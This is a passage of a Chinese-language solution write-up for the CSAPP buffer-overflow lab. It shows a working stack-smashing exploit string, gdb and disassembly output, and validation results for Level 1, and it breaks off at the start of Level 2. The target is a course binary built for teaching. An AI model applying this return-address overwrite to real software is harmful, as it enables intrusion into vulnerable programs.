缓冲区溢出试验是CSAPP课后试验之一,目的是:
- 更好的理解什么是缓冲区溢出
- 如何攻击带有缓冲区溢出漏洞的程序
- 如何编写出更加安全的代码
- 了解并理解编译器和操作系统为了让程序更加安全而提供的几种特性
我们可以使用代码注入(code-injection)和返回导向编程(return-oriented-programming)两种攻击手段分别攻击试验提供的ctarget和rtarget程序。
ctarget和rtarget会使用getbuf函数从标准输入中读取用户输入:
unsigned getbuf(){
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
Gets函数和标准库gets函数很相似,这里会从标准输入读取输入并将输入的字符串存储到buf里。而且Gets函数无法判断BUFFER_SIZE是否足够大,所以我们利用这一点进行缓冲区溢出攻击。
Part I : Code Injection Attacks
Level 1
试验目的
在这个阶段,我们不会注入新的代码,而是利用我们输入的exploit string诱使程序执行一段已有的程序。
上面提到过的getbuf函数会被test函数调用:
void test(){
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%xn", val);
}
正常情况下,执行完getbuf函数后,程序会接着执行下面的printf函数。但是我们想改变这一正常的行为,当执行完getbuf函数后,执行下面的touch1函数,而不是回到调用的地方执行printf函数:
void touch1(){
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()n");
validate(1);
exit(0);
}
solution
既然要改变函数返回地址,思路就是利用我们的exploit string覆盖栈上的返回地址。
查看getbuf函数:
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
查看执行完sub $0x28,%rsp
指令的栈空间:
(gdb) x /6x $rsp
0x5561dc78: 0x0000000000068310 0x00000000000000f4
0x5561dc88: 0x000000005561dcc0 0x0000000000000000
0x5561dc98: 0x0000000055586000 0x0000000000401976
(gdb) info symbol 0x0000000000401976
test + 14 in section .text of /home/xiaoju/target1/ctarget
可以看出0x0000000000401976
为test函数调用getbuf的下一条指令的地址,我们只需要恰当的构造输入,把0x0000000000401976
替换成touch1的地址即可。touch1的地址是0x00000000004017c0
。所以输入字符串的结构就是40个随机字节 + 0x00000000004017c0(注意小端字节序的问题):
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA c0 17 40 00 00 00 00 00
使用实验提供的工具hex2raw进行编码:
./hex2raw < exploit1.txt > exploit1.raw
验证结果:
./ctarget -q < exploit1.raw
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
成功。
使用gdb验证一下:
(gdb) x/6xg $rsp
0x5561dc78: 0xaaaaaaaaaaaaaaaa 0xaaaaaaaaaaaaaaaa
0x5561dc88: 0xaaaaaaaaaaaaaaaa 0xaaaaaaaaaaaaaaaa
0x5561dc98: 0xaaaaaaaaaaaaaaaa 0x00000000004017c0 ------> 覆盖成功
(gdb) ni
0x00000000004017bd in getbuf ()
=> 0x00000000004017bd <getbuf+21>: c3 retq
(gdb) ni
0x00000000004017c0 in touch1 () ------> 调到touch1函数
=> 0x00000000004017c0 <touch1+0>: 48 83 ec 08 sub $0x8,%rsp
Level 2
试验目的
第二阶段我们会在exploit string中包含一小部分代码段来完成我们的攻击。
在ctarget中包含touch2函数:
void touch2(unsigned val){
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)n", val);
fail(2);
}
exit(0);
}
我们的目的是保证执行getbuf函数后执行touch2函数而不是返回到test函数,并保证touch2的参数val == cookie.
solution
与上面一样,我们需要覆盖栈上正常的返回地址。区别是ÿ